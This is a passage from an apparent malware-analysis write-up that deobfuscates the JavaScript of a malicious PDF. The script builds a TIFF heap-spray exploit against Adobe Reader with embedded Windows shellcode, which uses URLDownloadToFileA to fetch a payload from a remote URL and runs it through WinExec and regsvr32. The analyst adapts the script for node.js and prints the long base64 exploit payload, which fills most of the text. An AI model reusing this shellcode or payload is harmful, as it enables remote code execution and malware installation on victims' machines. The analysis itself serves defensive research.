5\x78\x65\x63\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\xBB\x89\xF2\x89\xF7\x30\xC0\xAE\x75\xFD\x29\xF7\x89\xF9\x31\xC0\xBE\x3C\x00\x00\x00\x03\xB5\xB8\x01\x00\x00\x66\xAD\x03\x85\xB8\x01\x00\x00\x8B\x70\x78\x83\xC6\x1C\x03\xB5\xB8\x01\x00\x00\x8D\xBD\xBC\x01\x00\x00\xAD\x03\x85\xB8\x01\x00\x00\xAB\xAD\x03\x85\xB8\x01\x00\x00\x50\xAB\xAD\x03\x85\xB8\x01\x00\x00\xAB\x5E\x31\xDB\xAD\x56\x03\x85\xB8\x01\x00\x00\x89\xC6\x89\xD7\x51\xFC\xF3\xA6\x59\x74\x04\x5E\x43\xEB\xE9\x5E\x93\xD1\xE0\x03\x85\xC4\x01\x00\x00\x31\xF6\x96\x66\xAD\xC1\xE0\x02\x03\x85\xBC\x01\x00\x00\x89\xC6\xAD\x03\x85\xB8\x01\x00\x00\xC3\xEB\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x89\x85\xB8\x01\x00\x00\x56\x57\xE8\x58\xFF\xFF\xFF\x5F\x5E\xAB\x01\xCE\x80\x3E\xBB\x74\x02\xEB\xED\xC3\x55\x52\x4C\x4D\x4F\x4E\x2E\x44\x4C\x4C\x00\x55\x52\x4C\x44\x6F\x77\x6E\x6C\x6F\x61\x64\x54\x6F\x46\x69\x6C\x65\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x65\x78\x65\x00";
 shell += url_var;
 while (shell.length < 1044) shell += "\x00";
 shell = base64_encode(shell);
 
    if(get_ver() < 9000){
        end_tiff = "o+uA\x53\x6agggkpuL4BK/////wAAA\x41BAAAAAAAAAAAA\x51AAAA\x41AA\x41BReA\x53iBW\x68\x45oPY4BKo+u\x41\x53j\x41gg\x6bqv\x57IBK\x58Vy\x41SiYAAAAA\x41AAAA\x41AAAA\x41AAABB\x51UF\x42Q\x55F\x42QQU\x58gE\x70qaVm\x4eEE2BSgUX\x67\x45p0JAS\x4e\x4dFOBS\x67UXg\x45p\x42Q\x55F\x42\x65AzzpEtT\x67U\x6f\x43F4B\x4b\x51U\x46BQT\x48\x4aZItx\x4dIt2D\x49t2\x48ItuCItGIIs2Z\x6a\x6cIGHXyi0U8i1QFeAH\x71\x693Ig\x41e4xyU\x47tAe\x69\x4cGCtYB\x49\x4875SD\x64/3XvSY\x74a\x4aAHrZosMS4taHAHrA\x79yL\x69e\x5aqBP82/9WF\x77K119YE4S\x55kqAHXtlj\x48\x4atQP\x7apQ==";
    } else {
        end_tiff = "\x6bB+A\x53j\x69\x51\x68E\x709fo\x42K/////w\x41AAA\x42AAAAA\x41\x41AAAAAQAAAAAAAA\x70WO\x41S\x69\x41Ji\x6b\x71WIYBKkB+A\x53\x6a\x43\x51hErY\x704B\x4bjauASiYAA\x41\x41AAA\x41AAAAAAAA\x41\x41ABBQUFBQUFBQaVjgEp\x71aV\x6dNM7WASqVjgEp0JAS\x4eT0uC\x53q\x56j\x67Ep4\x44POkIg6CSqJ\x6agEpB\x51U\x46\x42M\x63lki3\x45wi3YMi3Y\x63i24\x49i0YgizZm\x4fU\x67\x59dfKL\x52Ty\x4cVAV4\x41eqLciA\x427jHJ\x51\x610\x426IsYK1\x67EgfvlIN3/d\x659\x4ai1okAetmiwxLi1oc\x41es\x44LIuJ5moE/\x7ab/1YXArX\x581gThJSS\x6f\x41\x64\x652WM\x63\x6d1\x41/Ol";
    }
    tiff = "SUkqADggAACQ" + grow('QUFB', 2000) + shell + grow('kJCQ', 7592);
    tiff += "kAcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////"+end_tiff;
    pgGzgu.rawValue = tiff;
}
run();

As always more JavaScript. Get the new JS ready for node-js:

function base64_encode(data) {
    var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
        ac = 0,
        enc = "",
        tmp_arr = [];

    do {
        o1 = data.charCodeAt(i++);
        o2 = data.charCodeAt(i++);
        o3 = data.charCodeAt(i++);

        bits = o1 << 16 | o2 << 8 | o3;

        h1 = bits >> 18 & 0x3f;
        h2 = bits >> 12 & 0x3f;
        h3 = bits >> 6 & 0x3f;
        h4 = bits & 0x3f;

        tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
    } while (i < data.length);

    enc = tmp_arr.join('');

    return enc;
}

function get_ver() {
    //var app_ver = app.viewerVersion.toString();
    //@malforsec changed to work
    var app_ver = "9.3.0";
    app_ver = app_ver.replace('.', '');
    while (app_ver.length < 4) {
        app_ver += '0';
    }
    return parseInt(app_ver, 10);
}

function grow(body, len) {
    while (body.length < len) {
        body += body;
    }
    return body.substring(0, len);
}

function run() {
    var url_var = fGRdP + "&h=03\x00";
    shell = "\xE8\x00\x00\x00\x00]\x83\xED\x051\xC9d\x8Bq0\x8Bv \x8Bv\x1C\x8BF\x08\x8B~ \x8B6f9O\x18u\xF2\xBE\xEF\xOO\x00\x00\x01\xEE\xBF\xCF\x00\x00\x00\x01\xEF\xE8\x80\x01\xOO\xOO\x89\xEA\x81\xC2\xEF\x00\x00\x00Rh\x80\x00\x00\x00\xFF\x95\xCF\x00\x00\x00\x89\xEA\x81\xC2\xEF\xOO\x00\x001\xF6\x01\xC2\x8A\x9C5\x00\x02\x00\x00\x80\xFB\x00t\x06\x88\x1C2F\xEB\xEE\xC6\x042\x00\x89\xEA\x81\xC2\xE2\x01\x00\x00R\xFF\x95\xD3\x00\x00\x00\x89\xEA\x81\xC2\xED\x01\x00\x00RP\xFF\x95\xD7\x00\x00\x00j\x00j\x00\x89\xEA\x81\xC2\xEF\x00\x00\x00R\x89\xEA\x81\xC2
\x02\x00\x00Rj\x00\xFF\xD0j\xO5\x89\xEA\x81\xC2\xEF\x00\xOO\xOOR\xFF\x95\xDB\x00\x00\x00j\x05\x89\xEA\x81\xC2\xE3\xOO\xOO\x00R\xFF\x95\xDB\x00\xOO\x00j\x00\xFF\x95\xDF\x00\x00\x00\x00\x00\x00\x00\x00\x00\xOO\x00\x00\x00\x00\xOO\x00\x00\x00\x00\x00\x00\x00\x00regsvr32 -s GetTempPathA\x00LoadLibraryA\x00GetProcAddress\x00WinExec\x00ExitProcess\x00\xBB\x89\xF2\x89\xF70\xC0\xAEu\xFD)\xF7\x89\xF91\xC0\xBE<\x00\x00\x00\x03\xB5\xB8\x01\x00\x00f\xAD\x03\x85\xB8\x01\x00\x00\x8Bpx\x83\xC6\x1C\x03\xB5\xB8\x01\x00\x00\x8D\xBD\xBC\x01\x00\x00\xAD\x03\x85\xB8\x01\x00\x00\xAB\xAD\x03\x85\xB8\x01\x00\x00P\xAB\xAD\x03\x85\xB8\x01\x00\x00\xAB^1\xDB\xADV\x03\x85\xB8\x01\x00\x00\x89\xC6\x89\xD7Q\xFC\xF3\xA6Yt\x04^C\xEB\xE9^\x93\xD1\xE0\x03\x85\xC4\x01\x00\x001\xF6\x96f\xAD\xC1\xE0\x02\x03\x85\xBC\x01\x00\x00\x89\xC6\xAD\x03\x85\xB8\x01\x00\x00\xC3\xEB\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x89\x85\xB8\x01\x00\x00VW\xE8X\xFF\xFF\xFF_^\xAB\x01\xCE\x80>\xBBt\x02\xEB\xED\xC3URLMON.DLL\x00URLDownloadToFileA\x00User32.exe\x00";
    shell += url_var;
    while (shell.length < 1044) shell += "\xOO";
    shell = base64_encode(shell);

    if (get_ver() < 9000) {
        end_tiff = "o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAABReASiBWhEoPY4BKo+uASjAggkqvWIBKXVyASiYAAAAAAAAAAAAAAAAAAABBQUFBQUFBQQUXgEpqaVmNEE2BSgUXgEp0JASNMFOBSgUXgEpBQUFBeAzzpEtTgUoCF4BKQUFBQTHJZItxMIt2DIt2HItuCItGIIs2ZjlIGHXyi0U8i1QFeAHqi3IgAe4xyUGtAeiLGCtYBIH75SDd/3XvSYtaJAHrZosMS4taHAHrAyyLieZqBP82/9WFwK119YE4SUkqAHXtljHJtQPzpQ==";
    } else {
        end_tiff = "kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAApWOASiAJikqWIYBKkB+ASjCQhErYp4BKjauASiYAAAAAAAAAAAAAAAAAAABBQUFBQUFBQaVjgEpqaVmNM7WASqVjgEp0JASNT0uCSqVjgEp4DPOkIg6CSqJjgEpBQUFBMclki3Ewi3YMi3Yci24Ii0YgizZmOUgYdfKLRTyLVAV4AeqLciAB7jHJQa0B6IsYK1gEgfvlIN3/de9Ji1okAetmiwxLi1ocAesDLIuJ5moE/zb/1YXArXX1gThJSSoAde2WMcm1A/Ol";
    }
    tiff = "SUkqADggAACQ" + grow('QUFB', 2000) + shell + grow('kJCQ', 7592);
    tiff += "kAcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////" + end_tiff;
    //pgGzgu.rawValue = tiff;
    console.log(tiff);
}
//@malforsec add due to heavy deletion in previous step
fGRdP = "";
// @malforsec - end add section
run();

And we get this output, as the script says: base64_encoded

SUkqADggAACQQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB6AAAAABdg+OFMclki3Ewi3YMi3YciOYIi34gizZmOU8YdfK+7wAAAAHuv88AAAAB7+iAAQAAieqBwu8AAABSaIAAAAD/lc8AAACJ6oHC7wAAADH2AcKKnDUAAgAAgPsAdAaIHDJG6+7GBDIAieqBwuIBAABS/5XTAAAAieqBwuOBAABSUP+V1wAAAGoAagCJ6oHC7wAAAFKJ6oHCCwIAAFJqAP/QagWJ6oHC7wAAAFL/ldsAAABqBYnqgcLjAAAAUv+V2wAAAGoA/5XfAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByZWdzdnIzMiAtcyBHZXRUZW1wUGFOaEEATG9hZExpYnJhcnlBAEdldFByb2NBZGRyZXNzAFdpbkV4ZWMARXhpdFByb2Nlc3MAu4nyifcwwK51/Sn3ifkxwL48AAAAA7W4AQAAZqODhbgBAACLcHiDxhwDtbgBAACNvbwBAACtA4W4AQAAq6ODhbgBAABQq6ODhbgBAACrXjHbrVYDhbgBAACJxonXUfzzpllOBF5D6+lek9HgA4XEAQAAMfaWZq3B4AIDhbwBAACJxqODhbgBAADD6xAAAAAAAAAAAAAAAAAAAAAAiYW4AQAAVlfoWP///19eqwHOgD67dALr7cNVUkxNTO4uRExMAFVSTERvd25sb2FkVG9GaWxlQQBVc2VyMzIuZXhlACZoPTAzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk